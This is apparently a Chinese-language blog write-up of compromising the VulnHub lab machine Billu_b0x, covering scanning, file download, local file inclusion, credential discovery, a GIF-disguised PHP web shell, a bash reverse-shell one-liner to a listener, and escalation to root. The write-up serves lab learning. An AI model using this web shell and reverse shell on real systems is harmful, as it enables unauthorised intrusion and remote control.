boxmoe_header_banner_img

Hello! 欢迎来到我的小站!

加载中

文章导读

Billu_b0x靶机记录


avatar
Ysper_1 2023年 11月 27日 7

前言

  • vulnhub上的一个基础靶机Billu_b0x
  • 难度不算很大,但是对于第一次打靶机的小白挑战性还是蛮大的
  • 需要一台kali,一台靶机(基于nat模式)

0x01

打开靶机后发现需要登录,但是我们又不知道账户和密码,所以就需要开始信息收集,寻找有用的信息

image-20231122114315182

扫描ip

收集信息第一步,我们需要知道他的ip,在kali下面用arp-scan工具扫描当前局域网下的ip

arp-scan -l

image-20231122114510917

这里其中的137,139,是我本机其他虚拟机的ip,这里靶机的地址为130,获取ip地址之后,我们并不知道他开启了哪些服务。

端口

查看靶机开启的端口,知道开启了哪些服务,利用kali的nmap工具扫描

nmap ip

image-20231122115005910

开启了80端口,说明可能有web服务,22,ssh端口

先去浏览器访问一下他的80端口

image-20231122115216257

是一个登录界面,提示show me your sqli skills,展示你的sql注入能力,那我们就尝试注入,这里直接用sqlmap跑一下(需要找到参数qwq

image-20231122115807889

image-20231122115813768

然后尝试了一下这个登录界面似乎没有注入点(0.o

扫目录

打ctf常规的扫目录,(比较熟练了

用kali自带的dirb扫描网站的目录(dirsearch也是阔以的

dirb ip    dirsearch -u "ip"

image-20231122173111899

目录扫完还是有不少利用点的那就一个一个看看

0x02

add.php界面

image-20231122173719748

一个文件上传界面,但是上传任何一个东西后好像没啥利用点

/c目录

image-20231122173830929

空白界面也没啥用

head.php

image-20231122173938582

好像只有一个图片没有啥利用点

/images

image-20231122174430382

放了一些图片路径但是点进去也没使用,而且之前那个上传界面传的东西也没在这里

/in界面

一个phpinfo();,我没找到一些有用的东西,大致翻了一下disable_function,没有禁掉一些常见的命令执行函数

image-20231122174747495

/phpmy

看到phpmy就能想到这应该是一个phpmyadmin的一个旧版本漏洞

也是不出所料

image-20231122180827642

我也是尝试了很多phpmyadmin的默认密码发现登不进去,无奈之下开启下一个目录

/show

空白界面

/test.php

image-20231122181018238

传一个file参数,那就尝试get传一个

image-20231122181100304

仍然提示是file参数是空的,那大概率是post传参了

image-20231122181151812

果然了,那就尝试读取一些文件

image-20231122181223775

ok明确了,file传入的文件会被下载下来,那就把之前看过的目录都下载下来

读取代码

test.php

<?php


function file_download(download)
{
    if(file_exists(download))
                {
                    header("Content-Description: File Transfer"); 

                    header('Content-Transfer-Encoding: binary');
                    header('Expires: 0');
                    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                    header('Pragma: public');
                    header('Accept-Ranges: bytes');
                    header('Content-Disposition: attachment; filename="'.basename(download).'"');                    header('Content-Length: ' . filesize(download));
                    header('Content-Type: application/octet-stream'); 
                    ob_clean();
                    flush();
                    readfile (download);
                }
                else
                {
                echo "file not found";                 }

}

if(isset(_POST['file']))
{
file_download($_POST['file']);
}
else{

echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
}

test.php就是一个下载文件的继续读取

image-20231122181521812

这里漏掉一个panel.php被重定向到index.php,就是最开始的那个登陆界面

panel.php

<?php
session_start();

include('c.php');
include('head2.php');
if(@_SESSION['logged']!=true )
{
        header('Location: index.php', true, 302);
        exit();

}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset(_POST['lg']))
{
    unset(_SESSION['logged']);
    unset(_SESSION['admin']);
    header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
    <option value="add">Add User</option>
</select> 

  <input type=submit name=continue value="continue"></form><br><br>';
if(isset(_POST['continue']))
{dir=getcwd();
    choice=str_replace('./','',_POST['load']);

    if(choice==='add')
    {
            include(dir.'/'.choice.'.php');
            die();
    }

        if(choice==='show')
    {

        include(dir.'/'.choice.'.php');
        die();
    }
    else
    {
        include(dir.'/'._POST['load']);
    }

}


if(isset(_POST['upload']))
{name=mysqli_real_escape_string(conn,_POST['name']);
    address=mysqli_real_escape_string(conn,_POST['address']);id=mysqli_real_escape_string(conn,_POST['id']);

    if(!empty(_FILES['image']['name']))
    {iname=mysqli_real_escape_string(conn,_FILES['image']['name']);
    r=pathinfo(_FILES['image']['name'],PATHINFO_EXTENSION);
    image=array('jpeg','jpg','gif','png');
    if(in_array(r,image))
    {finfo = @new finfo(FILEINFO_MIME); 
    filetype = @finfo->file(_FILES['image']['tmp_name']);
        if(preg_match('/image\/jpeg/',filetype )  || preg_match('/image\/png/',filetype ) || preg_match('/image\/gif/',filetype ))
                {
                    if (move_uploaded_file(_FILES['image']['tmp_name'], 'uploaded_images/'._FILES['image']['name']))
                             {
                              echo "Uploaded successfully ";
                              update='insert into users(name,address,image,id) values(\''.name.'\',\''.address.'\',\''.iname.'\', \''.id.'\')';                             mysqli_query(conn, $update);

                            }
                }
            else
            {
                echo "<br>i told you dear, only png,jpg and gif file are allowed";
            }
    }
    else
    {
        echo "<br>only png,jpg and gif file are allowed";

    }
}


}

?>

分析代码发现一个文件包含漏洞

if(isset(_POST['continue']))
{dir=getcwd();
    choice=str_replace('./','',_POST['load']);

    if(choice==='add')
    {
            include(dir.'/'.choice.'.php');
            die();
    }

        if(choice==='show')
    {

        include(dir.'/'.choice.'.php');
        die();
    }
    else
    {
        include(dir.'/'._POST['load']);
    }

}

大致就是通过post传一个continue但是后面两个else传的参数,能利用的好像只有

{
        include(dir.'/'._POST['load']);
    }

如果传的参数是load那么他就会被包含load参数后面跟的文件

c.php

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }

?>


这里发现了登陆phpmyadmin的账户和密码,尝试登陆

image-20231122182132262

登陆进去了尝试查询一些有用的信息

image-20231122182221401

这里查询到一个账户和密码,

然后继续搜索找不到什么有用的界面

拿着账号和密码去登陆最开始的index.php

image-20231122182606462

上传木马

在add_user下发现可以上传文件

image-20231122182655871

加上之前下载的这个页面的源代码可知他会检测是不是图片文件

那直接习惯行的上传一个图片马加上GIF89a头

GIF89a
<?php system($_REQUEST['cmd']);?>

image-20231122183140333

上传成功利用刚才发现的文件包含漏洞

image-20231122184859798

这里的文件路径可以从源码中得到

image-20231122184931871

会把上传成功文件移动的uploaded_images这个目录下

image-20231122185023832

包含成功,查看是否可以执行命令

image-20231122185102341

可以执行,那么下面目的就明确了反弹shell拿下root权限

0x03

反弹shell

echo "bash -i >& /dev/tcp/192.168.13.128/6666 0>&1" | bash

url编码传进去,同时kali监听6666端口

nc -lvvp 6666

image-20231122212739701

然后就是提权了。

然后就可以去查看phpmy里面的config.inc.php里面有靶机的账户和密码

image-20231122214112477

直接就拿下但是我们输入su的时候,提示需要一个终端

python -c 'import pty;pty.spawn("/bin/bash")'

这个就可以打开一个终端在输入su输入密码就拿到root权限了(一般靶机都会安装的有py

image-20231122214257963

0x03

总结

  • 信息收集
  • 找漏洞点
  • 提权


评论(1)

查看评论列表
评论头像
Ysper_1 博主 2023年11月27日
hello

发表评论

表情 颜文字

插入代码

最新评论

    最新文章